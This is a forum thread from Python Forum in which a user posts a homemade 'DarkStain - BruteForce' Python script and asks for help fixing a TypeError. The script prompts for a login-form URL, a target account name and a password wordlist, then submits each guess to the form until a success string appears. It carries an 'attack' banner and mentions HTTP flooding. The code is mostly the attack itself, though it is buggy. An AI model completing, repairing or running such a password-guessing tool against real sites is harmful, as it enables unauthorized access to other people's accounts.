Python Forum
TypeError: can't contact str to bytes - Printable Version

+- Python Forum (https://python-forum.io)
+-- Forum: Python Coding (https://python-forum.io/forum-7.html)
+--- Forum: Web Scraping & Web Development (https://python-forum.io/forum-13.html)
+--- Thread: TypeError: can't contact str to bytes (/thread-9792.html)



TypeError: can't contact str to bytes - MartyXO - Apr-28-2018

Hello dear friends!
I writing bruteforce script for fun.
And then I press enter (if I choosing wordlist) for choose darkstain-wl.txt I get error: TypeError: can't contact str to bytes
Here is my code:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import socks
import threading
import random
import re
import urllib.request
import os
import sys
import fileinput
import requests
from flask import Flask
import urllib,urllib3, http.cookiejar
 
from bs4 import BeautifulSoup as BS
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
 
if sys.platform.startswith("linux") or sys.platform.startswith("freebsd") :
    from scapy.all import *
else:
    print ("Use HTTP flood.")
 
print('''
 
_____                           _        _    _ _ _
|  _  |                         | |      | |  (_) | |
| | | |_ __     _ __   ___ _ __ | |_ __ _| | ___| | |
| | | | '_ \ | '_ \ / _ \ '_ \| __/ _` | |/ / | | |
\ \_/ / |_) |  | |_) |  __/ | | | || (_| |   <| | | |
\___/| .__/   | .__/ \___|_| |_|\__\__,_|_|\_\_|_|_|
    | |______| |                                  
    |_|______|_|      [DarkStain - BruteForce]                              
                    [SUCCESSFULLY STARTED]
                              [Lets attack :)]                                              
          [Coded By : MartyXO]
  ''')
 
class Darkstainbrute():
        def starturl(self):
                global url
                global url2
                global urlport
 
                url = input("\nType the URL of login form to bruteforce> ").strip()
 
                if (url[:4] != "http") or not url:
                    print("Input full URL format with http(s)://")
                    self.starturl()
                else:
                    try:
                        url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
                    except:
                        url2 = url.replace("http://", "").replace("https://", "").split("/")[0]
 
                    try:
                        urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1]
                    except:
                        urlport = "80"
 
                self.nickname()
 
        def nickname(self):
                global nick
                nick= input("\nType the login nickname of account to get password> ").strip()
 
                if not nick: #tady design uprava ;)
                    print("Please enter the nickname.")
                    self.nickname()
                self.submit() #else neni potreba ;)
       
        def submit(self):
                global submit
                submit= str(input("What's name have your submit button?> "))
                if not submit:
                        print("Please enter name of submit element.")
                        self.submit()
                self.wordlist()
                       
        def wordlist(self):
                global wordlist
                wordlist= str(input("Enter (darkstain-wl.txt)> "))
                if not wordlist:
                        wordlist = "darkstain-wl.txt"
                self.controller()
               
        def connect(self,url,m):
                req = urllib.request.Request(url, data=m)
                resp = urllib.request.urlopen(req)
                if 'Odhlásit' in resp.read():
                        print ("The password is" + " " + m['passw'])
                        sys.exit()
                else:
                        print ("Unsuccessful Password attack atempt %s" %m['passw'])
                        self.controller()
 
 
        def controller(self):
             m = {}
             for line in fileinput.input([wordlist]):
                        m["uid"] = nick
                        m["passw"] = str(line)
                        m["submit"] = submit
                        print (m)
                        self.connect(url,m)
           
 
def main():
        darkstainbrute = Darkstainbrute()
        darkstainbrute.starturl()
 
if __name__ == "__main__":
        main()
Can someone help me with that, please?